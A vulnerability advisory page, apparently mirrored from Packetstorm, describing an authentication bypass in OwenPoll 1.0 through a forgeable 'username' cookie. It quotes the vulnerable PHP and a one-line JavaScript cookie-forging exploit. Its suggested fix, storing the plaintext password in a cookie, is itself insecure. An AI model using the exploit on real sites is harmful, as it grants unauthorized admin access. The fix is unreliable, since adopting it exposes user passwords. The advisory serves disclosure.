Lucene search

K

OwenPoll 1.0 Insecure Cookie Handling

๐Ÿ—“๏ธย 31 Dec 2008ย 00:00:00Reported byย OsirysTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 19ย Views

OwenPoll 1.0 Insecure Cookie Handling. Bugged file: checkloginmini.ph

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`[START]  
  
####################################################################################################################  
[0x01] Informations:  
  
Script : OwenPoll 1.0  
Download : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1  
Vulnerability : Insecure Cookie Handling  
Author : Osirys  
Contact : osirys[at]live[dot]it  
Website : http://osirys.org  
Notes : Proud to be Italian  
Greets: : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX  
  
  
####################################################################################################################  
[0x02] Bug: [Insecure Cookie Handling]  
######  
  
Bugged file is: /[path]/checkloginmini.php  
  
[CODE]  
  
if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){  
// authentication was successful  
// create session and set cookie with username  
session_start();  
$_SESSION['auth'] = 1;  
  
setcookie("username", $_POST['txtusername'], time()+(86400*30));  
  
[/CODE]  
  
If we log in correctly, a cookie is set with name "username" and as content the username name.  
  
[!] FIX: Set as content username's password.  
  
[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]  
  
  
[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";  
*admin_username is the nick of the administrator  
  
####################################################################################################################  
  
[/END]  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
31 Dec 2008 00:00Current
7.4High risk
Vulners AI Score7.4
19
.json
Report